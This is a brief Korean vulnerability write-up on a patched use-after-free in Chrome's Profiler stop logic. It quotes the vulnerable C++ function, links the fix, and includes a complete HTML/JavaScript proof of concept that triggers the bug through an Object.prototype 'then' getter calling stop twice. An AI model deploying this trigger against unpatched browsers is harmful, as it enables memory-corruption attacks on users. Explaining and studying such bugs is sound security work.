[하루한줄] Chrome UAF in StopProfiler

URL

Chrome UAF in StopProfiler

Target

Chrome (Operating System: all)

Explain

CPU 등의 리소스 사용량을 모니터링할 수 있는 profiler 객체에서 비동기 처리 키워드를 사용한 UAF 취약점이 발견되었습니다.

해당 취약점의 POC는 다음과 같습니다.

<html>
    <body>
    </body>
    <script>
        function gc() {
            for (var i = 0; i < 0x100000; ++i) {
                var a = new String();
            }
        }
        async function main(){
            var pf = await performance.profile({ sampleInterval: 10 });
            console.log(pf);
            cnt = 0;
            Object.prototype.__defineGetter__("then", ()=>{
                if( cnt == 0){
                    cnt ++;
                    console.log("hello");
                    pf.stop();
                    gc();
                }
            })
            pf.stop();
        }
        main();
    </script>
</html>
void ProfilerGroup::StopProfiler(ScriptState* script_state,
                                 Profiler* profiler,
                                 ScriptPromiseResolver* resolver) {
...

  auto* trace = ProfilerTraceBuilder::FromProfile(
      script_state, profile, profiler->SourceOrigin(), profiler->TimeOrigin());
  resolver->Resolve(trace);

  if (profile)
    profile->Delete();

  profilers_.erase(profiler);

...

ProfilerGroup::StopProfiler 함수의 resolve는 사용자 정의 함수를 호출할 수 있습니다.

비동기 함수로 선언한 main 함수에서 await 키워드로 performance.profile 객체를 선언하고 Object.prototype.__defineGetter__ 의 사용자 정의 함수와 main에서 stop 을 두 번 호출하게 되면 CpuProfile 객체가 삭제됩니다. 결과적으로 CpuProfile 에서 UAF 취약점을 트리거할 수 있습니다.

이는 간단하지만 높은 심각성의 UAF 취약점으로, Google은 Profiler::stop 에서 동기 스크립트 실행을 방지하도록 패치했습니다.

Reference

https://chromium-review.googlesource.com/c/chromium/src/+/2373184